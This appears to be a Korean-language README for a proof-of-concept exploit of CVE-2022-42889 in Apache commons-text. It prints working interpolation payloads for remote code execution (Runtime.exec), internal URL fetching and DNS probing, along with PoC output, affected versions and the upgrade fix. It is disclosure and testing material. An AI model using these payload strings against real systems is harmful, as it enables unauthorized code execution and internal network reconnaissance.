
Apache commons-text 취약점 CVE-2022-42889에 대한 개념 증명.
이는 취약점 CVE-2022-42889에 대한 개념 증명(PoC)입니다. 이 코드는 JavaScript 코드 195 + 324를 실행합니다. 취약할 경우 출력은 다음과 같아야 합니다:
PoC Output: 519
이를 실행하려면 다음이 필요합니다:
익스플로잇 문자열을 입력하라는 메시지가 나타나면 자신의 익스플로잇 문자열을 제공(Enter 키를 눌러 문자열 입력)하거나, Enter 키만 눌러 기본 익스플로잇 문자열 ${script:javascript:195 + 324}를 사용할 수 있습니다.
또는 Docker를 사용하여 이 PoC를 실행할 수 있습니다:
docker build -t poc .
docker run -it poc
문제는 다음 키가 기본적으로 보간(interpolate)되어서는 안 된다는 사실에서 비롯됩니다(문서 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html에 따르면):
scriptdnsurl이 lookup을 사용하면 제공된 JavaScript 코드가 실행됩니다. 결과적으로 공격자가 시스템에서 임의 코드를 실행할 수 있게 됩니다.
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
PoC에서의 예시:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
이 lookup은 지정된 URL을 호출합니다. 공격자는 이를 활용하여 내부 리소스에 기본 GET 요청을 수행할 수 있습니다.
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
PoC에서의 예시:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
이 lookup은 DNS 조회 또는 역방향 조회를 수행합니다. 이를 통해 공격자가 내부 리소스를 식별할 수 있게 됩니다.
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
PoC에서의 예시:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
그러나 로직의 결함으로 인해 이 3개의 키는 기본적으로 보간되며, 보안 위험이 될 수 있으므로 보간되어서는 안 됩니다.
영향을 받는 StringSubstitutor replace에 전달되는 문자열을 제어할 수 있는 공격자는 다음을 수행할 수 있습니다:
StringSubstitutor 코드를 실행하는 시스템(일반적으로 서버)에서 JavaScript 코드 실행귀하의 코드가 취약하려면 다음 조건을 충족해야 합니다:
Apache commons-text 버전 1.5.0 이상 1.10.0 미만을 사용 중
StringSubstitution에 보간(Interpolation)을 사용 중 (참조 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
JDK 15 이상에서는 JavaScript 엔진 Nashorn이 더 이상 포함되지 않습니다. 그러나 JEXL 엔진은 여전히 포함되어 있으며 결과적으로 RCE가 여전히 가능할 수 있습니다.
이에 대한 수정 사항은 commons-text 인스턴스를 버전 1.10.0 이상으로 업데이트하는 것입니다.
다른 기본 lookup도 여전히 보안 위험이 될 수 있습니다(예: 파일 내용 읽기, 시스템 속성 읽기 등). 이 기능을 주의해서 사용하고 모든 사용자 입력이 적절히 정제(예: 허용 목록 통과)되었는지 확인하십시오.